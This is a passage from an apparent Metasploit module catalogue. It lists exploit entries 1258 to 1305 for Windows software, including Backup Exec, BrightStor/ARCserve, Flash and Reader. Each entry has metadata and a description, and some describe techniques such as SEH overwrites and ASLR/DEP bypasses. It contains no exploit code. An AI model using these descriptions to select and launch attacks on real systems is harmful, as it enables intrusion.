   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-05-07

Payload information:
  Space: 800
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in Trend Micro ServerProtect
5.58 Build 1060.
  By sending a specially crafted RPC request, an attacker could
overflow the
  buffer and execute arbitrary code.

End Exploit Number 1258

Begin Exploit Number 1259
       Name: Trend Micro ServerProtect 5.58 EarthAgent.EXE Buffer
Overflow
     Module: exploit/windows/antivirus/
trendmicro_serverprotect_earthagent
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Good
  Disclosed: 2007-05-07

Payload information:
  Space: 800
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in Trend Micro ServerProtect 
5.58 Build 1060
  EarthAgent.EXE. By sending a specially crafted RPC request, an 
attacker could overflow the
  buffer and execute arbitrary code.

End Exploit Number 1259

Begin Exploit Number 1260
       Name: Arkeia Backup Client Type 77 Overflow (Win32)
     Module: exploit/windows/arkeia/type77
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2005-02-18

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the Arkeia backup
  client for the Windows platform. This vulnerability affects
  all versions up to and including 5.3.3.

End Exploit Number 1260

Begin Exploit Number 1261
       Name: Energizer DUO USB Battery Charger Arucer.dll Trojan Code 
Execution
     Module: exploit/windows/backdoor/energizer_duo_payload
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-03-05

Payload information:
```

```
Description:
  This module will execute an arbitrary payload against
  any system infected with the Arugizer trojan horse. This
  backdoor was shipped with the software package accompanying
  the Energizer DUO USB battery charger.

End Exploit Number 1261

Begin Exploit Number 1262
       Name: Veritas Backup Exec Name Service Overflow
     Module: exploit/windows/backupexec/name_service
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-12-16

Payload information:
  Space: 1024

Description:
  This module exploits a vulnerability in the Veritas Backup
  Exec Agent Browser service. This vulnerability occurs when a
  recv() call has a length value too long for the      destination
  stack buffer. By sending an agent name value of 63 bytes or
  more, we can overwrite the return address of the recv
  function. Since we only have ~60 bytes of contiguous space
  for shellcode, a tiny findsock payload is sent which uses a
  hardcoded IAT address for the recv() function. This payload
  will then roll the stack back to the beginning of the page,
  recv() the real shellcode into it, and jump to it. This
  module has been tested against Veritas 9.1 SP0, 9.1 SP1, and
  8.6.

End Exploit Number 1262

Begin Exploit Number 1263
       Name: Veritas Backup Exec Windows Remote Agent Overflow
     Module: exploit/windows/backupexec/remote_agent
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2005-06-22

Payload information:
  Space: 1024
  Avoid: 1 characters
```

```
Description:
  This module exploits a stack buffer overflow in the Veritas
  BackupExec Windows Agent software. This vulnerability occurs
  when a client authentication request is received with type
  '3' and a long password argument. Reliable execution is
  obtained by abusing the stack buffer overflow to smash a SEH
  pointer.

End Exploit Number 1263

Begin Exploit Number 1264
       Name: Veritas/Symantec Backup Exec SSL NDMP Connection Use-
After-Free
     Module: exploit/windows/backupexec/ssl_uaf
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-05-10

Payload information:

Description:
  This module exploits a use-after-free vulnerability in the handling
of SSL NDMP
  connections in Veritas/Symantec Backup Exec's Remote Agent for
Windows. When SSL
  is re-established on a NDMP connection that previously has had SSL
established,
  the BIO struct for the connection's previous SSL session is reused,
even though it
  has previously been freed.

  This module supports 3 specific versions of the Backup Exec agent in
the 14, 15
  and 16 series on 64-bit and 32-bit versions of Windows and has been
tested from
  Vista to Windows 10. The check command can help narrow down what
major and minor
  revision is installed and the precise of version of Windows, but
some other
  information may be required to make a reliable choice of target.

  NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On
Windows 8+, it has a
  reliability of around 85%. On other versions of Windows, reliability
is around 35%
  (due to the need to win a race condition across the network in this
case; this may
  drop further depending on network conditions). The agent is normally
installed on
  all hosts in a domain that need to be backed up, so if one service
crashes, try
  again on another :) Successful exploitation will give remote code
execution as the
  user of the Backup Exec Remote Agent for Windows service, almost
always
  NT AUTHORITY\SYSTEM.

End Exploit Number 1264

Begin Exploit Number 1265
       Name: Computer Associates ARCserve REPORTREMOTEEXECUTECML
Buffer Overflow
     Module: exploit/windows/brightstor/ca_arcserve_342
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-10-09

Payload information:
  Space: 550
  Avoid: 7 characters

Description:
  This module exploits a buffer overflow in Computer Associates
BrightStor ARCserve r11.5 (build 3884).
  By sending a specially crafted RPC request to opcode 0x342, an
attacker could overflow the buffer
  and execute arbitrary code. In order to successfully exploit this
vulnerability, you will need
  set the hostname argument (HNAME).

End Exploit Number 1265

Begin Exploit Number 1266
       Name: CA BrightStor Discovery Service TCP Overflow
     Module: exploit/windows/brightstor/discovery_tcp
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-02-14

Payload information:
  Space: 2048
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the CA BrightStor
  Discovery Service. This vulnerability occurs when a specific
  type of request is sent to the TCP listener on port 41523.
  This vulnerability was discovered by cybertronic[at]gmx.net
  and affects all known versions of the BrightStor product.
  This module is based on the 'cabrightstor_disco' exploit by
  HD Moore.

End Exploit Number 1266

Begin Exploit Number 1267
       Name: CA BrightStor Discovery Service Stack Buffer Overflow
     Module: exploit/windows/brightstor/discovery_udp
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-12-20

Payload information:
  Space: 2048
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the CA BrightStor
  Discovery Service. This vulnerability occurs when a large
  request is sent to UDP port 41524, triggering a stack buffer
  overflow.

End Exploit Number 1267

Begin Exploit Number 1268
       Name: Computer Associates Alert Notification Buffer Overflow
     Module: exploit/windows/brightstor/etrust_itm_alert
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-04-04

Payload information:
  Space: 550
  Avoid: 7 characters
```

```
Description:
  This module exploits a buffer overflow in Computer Associates Threat
Manager for the Enterprise r8.1
  By sending a specially crafted RPC request, an attacker could
overflow the buffer and execute arbitrary code.
  In order to successfully exploit this vulnerability, you will need
valid logon credentials to the target.

End Exploit Number 1268

Begin Exploit Number 1269
       Name: CA BrightStor HSM Buffer Overflow
     Module: exploit/windows/brightstor/hsmserver
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2007-09-27

Payload information:
  Space: 1026
  Avoid: 4 characters

Description:
  This module exploits one of the multiple stack buffer overflows in
Computer Associates BrightStor HSM.
  By sending a specially crafted request, an attacker could overflow
the buffer and execute arbitrary code.

End Exploit Number 1269

Begin Exploit Number 1270
       Name: CA BrightStor ARCserve for Laptops and Desktops LGServer
Buffer Overflow
     Module: exploit/windows/brightstor/lgserver
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-01-31

Payload information:
  Space: 600
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in Computer Associates
BrightStor ARCserve Backup
```

```
  for Laptops & Desktops 11.1. By sending a specially crafted request,
an attacker could
  overflow the buffer and execute arbitrary code.

End Exploit Number 1270

Begin Exploit Number 1271
       Name: CA BrightStor ARCserve for Laptops and Desktops LGServer
Multiple Commands Buffer Overflow
     Module: exploit/windows/brightstor/lgserver_multi
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-06-06

Payload information:
  Space: 400
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Computer Associates
BrightStor ARCserve Backup
  for Laptops & Desktops 11.1. By sending a specially crafted request
to multiple commands,
  an attacker could overflow the buffer and execute arbitrary code.

End Exploit Number 1271

Begin Exploit Number 1272
       Name: CA BrightStor ARCserve for Laptops and Desktops LGServer
Buffer Overflow
     Module: exploit/windows/brightstor/lgserver_rxrlogin
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-06-06

Payload information:
  Space: 550
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Computer Associates
BrightStor ARCserve Backup
  for Laptops & Desktops 11.1. By sending a specially crafted request,
an attacker could
```

```
  overflow the buffer and execute arbitrary code.

End Exploit Number 1272

Begin Exploit Number 1273
       Name: CA BrightStor ARCserve for Laptops and Desktops LGServer
rxsSetDataGrowthScheduleAndFilter Buffer Overflow
     Module: exploit/windows/brightstor/
lgserver_rxssetdatagrowthscheduleandfilter
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-06-06

Payload information:
  Space: 700
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Computer Associates
BrightStor ARCserve Backup
  for Laptops & Desktops 11.1. By sending a specially crafted request
(rxsSetDataGrowthScheduleAndFilter),
  an attacker could overflow the buffer and execute arbitrary code.

End Exploit Number 1273

Begin Exploit Number 1274
       Name: CA BrightStor ARCserve for Laptops and Desktops LGServer
Buffer Overflow
     Module: exploit/windows/brightstor/lgserver_rxsuselicenseini
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-06-06

Payload information:
  Space: 700
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Computer Associates
BrightStor ARCserve Backup
  for Laptops & Desktops 11.1. By sending a specially crafted request
(rxsUseLicenseIni), an
  attacker could overflow the buffer and execute arbitrary code.
```

```
End Exploit Number 1274

Begin Exploit Number 1275
       Name: CA BrightStor ARCserve License Service GCR NETWORK Buffer
Overflow
     Module: exploit/windows/brightstor/license_gcr
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-03-02

Payload information:
  Space: 500
  Avoid: 17 characters

Description:
  This module exploits a stack buffer overflow in Computer Associates
BrightStor ARCserve Backup 11.0.
  By sending a specially crafted request to the lic98rmtd.exe service,
an attacker
  could overflow the buffer and execute arbitrary code.

End Exploit Number 1275

Begin Exploit Number 1276
       Name: CA BrightStor ArcServe Media Service Stack Buffer
Overflow
     Module: exploit/windows/brightstor/mediasrv_sunrpc
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-04-25

Payload information:
  Space: 768
  Avoid: 14 characters

Description:
  This exploit targets a stack buffer overflow in the MediaSrv RPC
service of CA
  BrightStor ARCserve. By sending a specially crafted SUNRPC request,
an attacker
  can overflow a stack buffer and execute arbitrary code.

End Exploit Number 1276
```

```
Begin Exploit Number 1277
       Name: CA BrightStor ARCserve Message Engine Buffer Overflow
     Module: exploit/windows/brightstor/message_engine
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-01-11

Payload information:
  Space: 600
  Avoid: 7 characters

Description:
  This module exploits a buffer overflow in Computer Associates 
BrightStor ARCserve Backup
  11.1 - 11.5 SP2. By sending a specially crafted RPC request, an 
attacker could overflow
  the buffer and execute arbitrary code.

End Exploit Number 1277

Begin Exploit Number 1278
       Name: CA BrightStor ARCserve Message Engine 0x72 Buffer 
Overflow
     Module: exploit/windows/brightstor/message_engine_72
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2010-10-04

Payload information:
  Space: 600
  Avoid: 7 characters

Description:
  This module exploits a buffer overflow in Computer Associates 
BrightStor ARCserve Backup
  11.1 - 11.5 SP2. By sending a specially crafted RPC request, an 
attacker could overflow
  the buffer and execute arbitrary code.

End Exploit Number 1278

Begin Exploit Number 1279
       Name: CA BrightStor ARCserve Message Engine Heap Overflow
```

```
      Module: exploit/windows/brightstor/message_engine_heap
    Platform: Windows
        Arch: 
  Privileged: Yes
     License: Metasploit Framework License (BSD)
        Rank: Average
   Disclosed: 2006-10-05

Payload information:
  Space: 800
  Avoid: 7 characters

Description:
  This module exploits a heap overflow in Computer Associates 
BrightStor ARCserve Backup
  11.5. By sending a specially crafted RPC request, an attacker could 
overflow the
  buffer and execute arbitrary code.

End Exploit Number 1279

Begin Exploit Number 1280
        Name: CA BrightStor Agent for Microsoft SQL Overflow
      Module: exploit/windows/brightstor/sql_agent
    Platform: Windows
        Arch: 
  Privileged: Yes
     License: Metasploit Framework License (BSD)
        Rank: Average
   Disclosed: 2005-08-02

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the CA BrightStor
  Agent for Microsoft SQL Server. This vulnerability was
  discovered by cybertronic[at]gmx.net.

End Exploit Number 1280

Begin Exploit Number 1281
        Name: CA BrightStor ARCserve Tape Engine Buffer Overflow
      Module: exploit/windows/brightstor/tape_engine
    Platform: Windows
        Arch: 
  Privileged: Yes
     License: Metasploit Framework License (BSD)
        Rank: Average
  Disclosed: 2006-11-21

Payload information:
  Space: 500
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in Computer Associates
BrightStor ARCserve Backup
  r11.1 - r11.5. By sending a specially crafted DCERPC request, an
attacker could overflow
  the buffer and execute arbitrary code.

End Exploit Number 1281

Begin Exploit Number 1282
       Name: CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow
     Module: exploit/windows/brightstor/tape_engine_0x8a
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2010-10-04

Payload information:
  Space: 500
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in Computer Associates
BrightStor ARCserve Backup
  r11.1 - r11.5. By sending a specially crafted DCERPC request, an
attacker could overflow
  the buffer and execute arbitrary code.

End Exploit Number 1282

Begin Exploit Number 1283
       Name: CA BrightStor Universal Agent Overflow
     Module: exploit/windows/brightstor/universal_agent
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-04-11

Payload information:
  Space: 164
  Avoid: 1 characters

Description:
  This module exploits a convoluted heap overflow in the CA
  BrightStor Universal Agent service. Triple userland
  exception results in heap growth and execution of
  dereferenced function pointer at a specified address.

End Exploit Number 1283

Begin Exploit Number 1284
       Name: Adobe CoolType SING Table "uniqueName" Stack Buffer
Overflow
     Module: exploit/windows/browser/adobe_cooltype_sing
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-09-07

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the Smart INdependent
Glyplets (SING) table
  handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior
versions are
  assumed to be vulnerable as well.

End Exploit Number 1284

Begin Exploit Number 1285
       Name: Adobe Flash Player Integer Underflow Remote Code
Execution
     Module: exploit/windows/browser/adobe_flash_avm2
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-02-05

Payload information:
  Space: 1024

Description:
  This module exploits a vulnerability found in the ActiveX component
```

```
of Adobe Flash Player
  before 12.0.0.43. By supplying a specially crafted swf file it is
possible to trigger an
  integer underflow in several avm2 instructions, which can be turned
into remote code
  execution under the context of the user, as exploited in the wild in
February 2014. This
  module has been tested successfully with Adobe Flash Player
11.7.700.202 on Windows XP
  SP3, Windows 7 SP1 and Adobe Flash Player 11.3.372.94 on Windows 8
even when it includes
  rop chains for several Flash 11 versions, as exploited in the wild.

End Exploit Number 1285

Begin Exploit Number 1286
       Name: Adobe Flash Player casi32 Integer Overflow
     Module: exploit/windows/browser/adobe_flash_casi32_int_overflow
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-10-14

Payload information:

Description:
  This module exploits an integer overflow in Adobe Flash Player. The
vulnerability occurs in
  the casi32 method, where an integer overflow occurs if a ByteArray
of length 0 is setup as
  domainMemory for the current application domain. This module has
been tested successfully
  on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 15.0.0.167.

End Exploit Number 1286

Begin Exploit Number 1287
       Name: Adobe Flash Player copyPixelsToByteArray Method Integer
Overflow
     Module: exploit/windows/browser/
adobe_flash_copy_pixels_to_byte_array
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-09-23
```

```
Payload information:

Description:
  This module exploits an integer overflow in Adobe Flash Player. The
vulnerability occurs
  in the copyPixelsToByteArray method from the BitmapData object. The
position field of the
  destination ByteArray can be used to cause an integer overflow and
write contents out of
  the ByteArray buffer. This module has been tested successfully on:
  * Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 14.0.0.176,
14.0.0.145, and 14.0.0.125.
  * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 14.0.0.179.
  * Windows 8.1, Firefox 38.0.5 and Adobe Flash 14.0.0.179.

End Exploit Number 1287

Begin Exploit Number 1288
       Name: Adobe Flash Player domainMemory ByteArray Use After Free
     Module: exploit/windows/browser/adobe_flash_domain_memory_uaf
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-04-14

Payload information:

Description:
  This module exploits a use-after-free vulnerability in Adobe Flash
Player. The
  vulnerability occurs when the ByteArray assigned to the current
ApplicationDomain
  is freed from an ActionScript worker, when forcing a reallocation by
copying more
  contents than the original capacity, but Flash forgets to update the
domainMemory
  pointer, leading to a use-after-free situation when the main worker
references the
  domainMemory again. This module has been tested successfully on
Windows 7 SP1
  (32-bit), IE 8 and IE11 with Flash 17.0.0.134.

End Exploit Number 1288

Begin Exploit Number 1289
       Name: Adobe Flash Player Type Confusion Remote Code Execution
     Module: exploit/windows/browser/
adobe_flash_filters_type_confusion
```

```
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-12-10

Payload information:
  Space: 2000

Description:
  This module exploits a type confusion vulnerability found in the 
ActiveX
  component of Adobe Flash Player. This vulnerability was found 
exploited
  in the wild in November 2013. This module has been tested 
successfully
  on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 
11.9.900.170
  over Windows XP SP3 and Windows 7 SP1.

End Exploit Number 1289

Begin Exploit Number 1290
       Name: Adobe Flash Player MP4 'cprt' Overflow
     Module: exploit/windows/browser/adobe_flash_mp4_cprt
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-02-15

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Adobe Flash
  Player.  By supplying a corrupt .mp4 file loaded by Flash, it
  is possible to gain arbitrary remote code execution under the
  context of the user.

  This vulnerability has been exploited in the wild as part of
  the "Iran's Oil and Nuclear Situation.doc" e-mail attack.
  According to the advisory, 10.3.183.15 and 11.x before
  11.1.102.62 are affected.

End Exploit Number 1290
```

```
Begin Exploit Number 1291
       Name: Adobe Flash Player 11.3 Kern Table Parsing Integer
Overflow
     Module: exploit/windows/browser/adobe_flash_otf_font
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-08-09

Payload information:
  Space: 1024

Description:
  This module exploits a vulnerability found in the ActiveX component
of Adobe
  Flash Player before 11.3.300.271. By supplying a specially
crafted .otf font file
  with a large nTables value in the 'kern' header, it is possible to
trigger an
  integer overflow, which results in remote code execution under the
context of the
  user.  This vulnerability has also been exploited in the wild in
limited targeted
  attacks.  Please note in order to ensure reliability, the exploit is
forced to
  modify your URIPATH parameter to less than 3 characters, which may
cause possible
  URIPATH collisions.

End Exploit Number 1291

Begin Exploit Number 1292
       Name: Adobe Flash Player PCRE Regex Vulnerability
     Module: exploit/windows/browser/adobe_flash_pcre
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-11-25

Payload information:
  Space: 1024

Description:
  This module exploits a vulnerability found in Adobe Flash Player. A
compilation logic error
  in the PCRE engine, specifically in the handling of the \c escape
```

```
sequence when followed by
  a multi-byte UTF8 character, allows arbitrary execution of PCRE
bytecode.

End Exploit Number 1292

Begin Exploit Number 1293
       Name: Adobe Flash Player Regular Expression Heap Overflow
     Module: exploit/windows/browser/adobe_flash_regex_value
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-02-08

Payload information:
  Space: 1024

Description:
  This module exploits a vulnerability found in the ActiveX component
of Adobe
  Flash Player before 11.5.502.149. By supplying a specially crafted
swf file
  with special regex value, it is possible to trigger a memory
corruption, which
  results in remote code execution under the context of the user, as
exploited in
  the wild in February 2013. This module has been tested successfully
with Adobe
  Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows
7 SP1 before
  MS13-063, since it takes advantage of a predictable SharedUserData
in order to
  leak ntdll and bypass ASLR.

End Exploit Number 1293

Begin Exploit Number 1294
       Name: Adobe Flash Player Object Type Confusion
     Module: exploit/windows/browser/adobe_flash_rtmp
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-05-04

Payload information:
  Avoid: 1 characters
```

```
Description:
  This module exploits a vulnerability found in Adobe Flash
  Player.  By supplying a corrupt AMF0 "_error" response, it
  is possible to gain arbitrary remote code execution under
  the context of the user.

  This vulnerability has been exploited in the wild as part of
  the "World Uyghur Congress Invitation.doc" e-mail attack.
  According to the advisory, 10.3.183.19 and 11.x before
  11.2.202.235 are affected.

End Exploit Number 1294

Begin Exploit Number 1295
       Name: Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer
Overflow
     Module: exploit/windows/browser/adobe_flash_sps
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-08-09

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Adobe Flash Player's
Flash10u.ocx
  component.  When processing a MP4 file (specifically the Sequence
Parameter Set),
  Flash will see if pic_order_cnt_type is equal to 1, which sets the
  num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies
data in
  offset_for_ref_frame on the stack, which allows arbitrary remote
code execution
  under the context of the user.  Numerous reports also indicate that
this
  vulnerability has been exploited in the wild.

End Exploit Number 1295

Begin Exploit Number 1296
       Name: Adobe Flash Player UncompressViaZlibVariant Uninitialized
Memory
     Module: exploit/windows/browser/
adobe_flash_uncompress_zlib_uninitialized
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2014-11-11

Payload information:

Description:
  This module exploits an uninitialized memory vulnerability in Adobe 
Flash Player. The
  vulnerability occurs in the ByteArray::UncompressViaZlibVariant 
method, which fails
  to initialize allocated memory. When using a correct memory layout 
this vulnerability
  leads to a ByteArray object corruption, which can be abused to 
access and corrupt memory.
  This module has been tested successfully on Windows 7 SP1 (32-bit), 
IE 8 and IE11 with
  Flash 15.0.0.189.

End Exploit Number 1296

Begin Exploit Number 1297
       Name: Adobe Flash Player ByteArray With Workers Use After Free
     Module: exploit/windows/browser/adobe_flash_worker_byte_array_uaf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-02-02

Payload information:

Description:
  This module exploits a use-after-free vulnerability in Adobe Flash 
Player. The
  vulnerability occurs when the ByteArray assigned to the current 
ApplicationDomain
  is freed from an ActionScript worker, which can fill the memory and 
notify the main
  thread to corrupt the new contents. This module has been tested 
successfully on
  Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 16.0.0.296.

End Exploit Number 1297

Begin Exploit Number 1298
       Name: Adobe Flash Player AVM Verification Logic Array Indexing
```

```
Code Execution
     Module: exploit/windows/browser/adobe_flashplayer_arrayindexing
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2012-06-21

Payload information:
  Space: 2000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in Adobe Flash Player versions 
10.3.181.23
  and earlier. This issue is caused by a failure in the ActionScript3 
AVM2 verification
  logic. This results in unsafe JIT(Just-In-Time) code being executed. 
This is the same
  vulnerability that was used for attacks against Korean based 
organizations.

    Specifically, this issue occurs when indexing an array using an 
arbitrary value,
  memory can be referenced and later executed. Taking advantage of 
this issue does not rely
  on heap spraying as the vulnerability can also be used for 
information leakage.

    Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and 
likely several
  other browsers under multiple Windows platforms. This exploit 
bypasses ASLR/DEP and
  is very reliable.

End Exploit Number 1298

Begin Exploit Number 1299
       Name: Adobe Flash Player AVM Bytecode Verification 
Vulnerability
     Module: exploit/windows/browser/adobe_flashplayer_avm
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-03-15

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in Adobe Flash Player versions
10.2.152.33
  and earlier. This issue is caused by a failure in the ActionScript3
AVM2 verification
  logic. This results in unsafe JIT(Just-In-Time) code being executed.
This is the same
  vulnerability that was used for the RSA attack in March 2011.

    Specifically, this issue results in uninitialized memory being
referenced and later
  executed. Taking advantage of this issue relies on heap spraying and
controlling the
  uninitialized memory.

    Currently this exploit works for IE6, IE7, and Firefox 3.6 and
likely several
  other browsers. DEP does catch the exploit and causes it to fail.
Due to the nature
  of the uninitialized memory its fairly difficult to get around this
restriction.

End Exploit Number 1299

Begin Exploit Number 1300
       Name: Adobe Flash Player 10.2.153.1 SWF Memory Corruption
Vulnerability
     Module: exploit/windows/browser/adobe_flashplayer_flash10o
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-04-11

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in Adobe Flash Player that was
discovered,
  and has been exploited actively in the wild.  By embedding a
specially crafted .swf
  file, Adobe Flash crashes due to an invalid use of an object type,
which allows
  attackers to overwrite a pointer in memory, and results arbitrary
```

```
code execution.
  Please note for IE 8 targets, Java Runtime Environment must be
available on the
  victim machine in order to work properly.

End Exploit Number 1300

Begin Exploit Number 1301
       Name: Adobe Flash Player "newfunction" Invalid Pointer Use
     Module: exploit/windows/browser/adobe_flashplayer_newfunction
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-06-04

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the DoABC tag handling
within
  versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and
Acrobat are also
  vulnerable, as are any other applications that may embed Flash
player.

  Arbitrary code execution is achieved by embedding a specially
crafted Flash
  movie into a PDF document. An AcroJS heap spray is used in order to
ensure
  that the memory used by the invalid pointer issue is controlled.

  NOTE: This module uses a similar DEP bypass method to that used
within the
  adobe_libtiff module. This method is unlikely to work across various
  Windows versions due a hardcoded syscall number.

End Exploit Number 1301

Begin Exploit Number 1302
       Name: Adobe FlateDecode Stream Predictor 02 Integer Overflow
     Module: exploit/windows/browser/adobe_flatedecode_predictor02
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-10-08

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits an integer overflow vulnerability in Adobe 
Reader and Adobe
  Acrobat Professional versions before 9.2.

End Exploit Number 1302

Begin Exploit Number 1303
       Name: Adobe Collab.getIcon() Buffer Overflow
     Module: exploit/windows/browser/adobe_geticon
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-03-24

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in Adobe Reader and Adobe 
Acrobat.
  Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a 
specially
  crafted pdf that a contains malformed Collab.getIcon() call, an 
attacker may
  be able to execute arbitrary code.

End Exploit Number 1303

Begin Exploit Number 1304
       Name: Adobe JBIG2Decode Heap Corruption
     Module: exploit/windows/browser/adobe_jbig2decode
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-02-19

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a heap-based pointer corruption flaw in Adobe
Reader 9.0.0 and earlier.
  This module relies upon javascript for the heap spray.

End Exploit Number 1304

Begin Exploit Number 1305
       Name: Adobe Doc.media.newPlayer Use After Free Vulnerability
     Module: exploit/windows/browser/adobe_media_newplayer
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-12-14

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a use after free vulnerability in Adobe Reader
and Adobe Acrobat
  Professional versions up to and including 9.2.
